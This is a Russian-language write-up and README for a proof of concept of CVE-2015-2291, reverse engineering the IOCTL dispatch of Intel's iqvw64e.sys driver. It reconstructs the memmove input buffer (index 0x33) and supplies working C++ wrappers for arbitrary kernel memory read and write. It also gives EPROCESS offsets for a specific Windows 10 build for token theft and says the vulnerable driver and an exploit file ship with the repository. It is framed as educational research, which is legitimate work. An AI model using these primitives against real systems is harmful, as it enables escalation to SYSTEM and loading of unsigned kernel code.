
CVE-2015-2291 Local Privilege Escalation PoC
CVE-2015-2291 Локальное повышение привилегий PoC

Этот проект представляет собой образовательное доказательство концепции для уязвимости локального повышения привилегий (LPE) в драйвере iqvw64e.sys (SHA256: 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9) — драйвере диагностики Ethernet от Intel, связанном с CVE-2015-2291.
Увидев, что этот драйвер используется в загрузчиках на уровне ядра, таких как KDMapper, я захотел самостоятельно провести реверс-инжиниринг, чтобы понять как работает диспетчеризация IOCTL, какие функции он предоставляет пользовательскому режиму и как атакующий может их обнаружить или использовать. Это описание проходит путь от статического анализа до создания примитивов работы с памятью с помощью DeviceIoControl и, в конечном итоге, создания эксплойта, использующего эти примитивы для замены маркера доступа текущего процесса на маркер доступа процесса SYSTEM, что эффективно повышает привилегии процесса до уровня SYSTEM.
В Windows каждый процесс связан с маркером доступа, определяющим его идентичность и привилегии. Получив произвольное чтение/запись в ядре, становится возможным изменить указатель на маркер, хранящийся в структуре процесса ядра. Замена этого указателя на указатель, принадлежащий процессу SYSTEM, заставляет ОС ассоциировать текущий процесс с контекстом безопасности SYSTEM, тем самым предоставляя ему полные привилегии. Подробнее здесь.
Драйвер регистрирует процедуру диспетчеризации для IRP_MJ_DEVICE_CONTROL, которая обрабатывает вызовы DeviceIoControl из пользовательского режима. Как показано ниже, она ведёт к sub_11150, которая направляет поток выполнения в зависимости от входного кода управления IO. В данном случае нас интересует 0x80862007, который приводит нас к loc_111C2.

Следуя потоку управления через loc_111C2, мы достигаем sub_113C0. Она получает входной буфер (a1) и использует первое QWORD этого буфера как индекс в таблице переходов внутренних функций-обработчиков. Здесь драйвер выполняет следующее:
Считывает a1 → первое QWORD (0x0) → jump_table_index
Выполняет переключение на основе этого индекса
Направляет в соответствующую внутреннюю функцию
Использует оставшиеся поля в a1 как аргументы
Теперь мы знаем, что входной буфер управляет как целью диспетчеризации, так и её параметрами. Мы будем уточнять структуру входного буфера по мере продолжения анализа.
typedef struct _MEMMOVE_INPUT_BUFFER
{
uint64_t jump_table_index; // 0x00 — используется как селектор диспетчеризации
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;


memmoveПри анализе случаев таблицы переходов я искал обработчики, напоминающие memmove или memcpy. В случае 0x33 драйвер вызывает sub_11EA0, передавая три поля из входного буфера. Это сильно напоминает копирование памяти:

Открыв sub_11EA0, мы находим ожидаемую сигнатуру:
void* memmove( void* dest, const void* src, std::size_t count );
Дизассемблирование подтверждает, что:
Аргумент a1 = назначение
Аргумент a2 = источник
Аргумент a3 = длина

С этой информацией мы можем полностью восстановить структуру входного буфера, ожидаемую для вызова memmove:
typedef struct _MEMMOVE_INPUT_BUFFER
{
uint64_t jump_table_index; // 0x00
uint64_t padding; // 0x08 (8)
uint64_t source; // 0x10 (16)
uint64_t destination; // 0x18 (24)
uint64_t length; // 0x20 (32)
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;
Теперь мы понимаем, что, отправив драйверу корректный MEMMOVE_INPUT_BUFFER с:
jump_table_index = 0x33
source, destination и length, установленными по необходимости
Мы можем указать драйверу вызвать memmove на произвольных адресах, что даёт нам полную возможность чтения/записи памяти ядра из пользовательского режима.
Вот обёртки пользовательского режима, построенные на этом примитиве:
bool MemMove(uint64_t destination, uint64_t source, uint64_t size) {
if (!destination || !source || !size)
return 0;
MEMMOVE_INPUT_BUFFER input_buffer = { 0 };
input_buffer.jump_table_index = 0x33; //jumptable index for memmove (51)
input_buffer.source = source;
input_buffer.destination = destination;
input_buffer.length = size;
DWORD bytes_returned = 0;
return DeviceIoControl(hDriver, IOCTL_MEMMOVE, &input_buffer, sizeof(input_buffer), nullptr, 0, &bytes_returned, nullptr);
}
uintptr_t read64(uintptr_t address)
{
uintptr_t value = 0;
if (MemMove(reinterpret_cast<uint64_t>(&value), address, sizeof(uintptr_t)))
return value;
return 0;
}
bool write64(uintptr_t address, uintptr_t value)
{
return MemMove(address, reinterpret_cast<uint64_t>(&value), sizeof(uintptr_t));
}
Эти вспомогательные функции позволяют произвольно читать и записывать 64-битные значения в виртуальную память ядра. С этого момента становятся возможны различные атаки (например, кража маркера EPROCESS), но эта статья сосредоточена на восстановлении и анализе. В файле main.cpp вы найдёте PoC эксплойт для кражи маркера EPROCESS благодаря Eap2468 из CVE-2021-2155
Версия Windows: 10 x64 22H2 (19045.6466)
Смещения EPROCESS:
UniqueProcessId: 0x440ActiveProcessLinks: 0x448Token: 0x4b8Драйвер: iqvw64e.sys (двоичный файл драйвера включён в репозиторий для вашего удобства)
SHA256: 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9
